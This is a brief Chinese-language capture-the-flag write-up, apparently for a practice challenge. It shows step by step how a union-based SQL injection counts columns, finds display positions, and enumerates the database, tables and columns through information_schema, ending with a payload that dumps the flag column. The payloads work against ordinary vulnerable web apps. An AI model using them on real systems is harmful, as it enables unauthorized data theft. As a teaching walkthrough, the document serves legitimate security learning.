1、使用二分法爆显位:
1' order by 位数 --+
可以得知表的列数
2、使用报错语句爆显位
-1' union select 1,2,3 --+
通过wllm=-1(eg.本题提示输入wllm的值), 一个负数不存在的id值来触发报错
可以得知有几个输出点,几个显位(本题显示有2个显位,3个输出点)
推测sql语句:
select phone,username,password from main where id='X';
3、爆数据库
-1' union select 1,2,database(); --+
4、爆数据表
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db'--+
得到表名(eg.test.tb和users)
进而推测sql语句:
select phone,username,password from users where id='X';
或者
select phone,username,password from test_tb where id='X';
5、接着查看表的字段:
(将tables的字段替换成column字段)(这里查看的是test_tb的字段)
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='test_tb'--+
查看所有表的字段,直至发现flag的信息
所以现在
我们现在已经确定库名,表名,列名
因为没有特殊的要求,所以where语句就没有必要出现
直接查询
构造payload:
-1' union select 1,2,group_concat(id,flag) from test_tb --+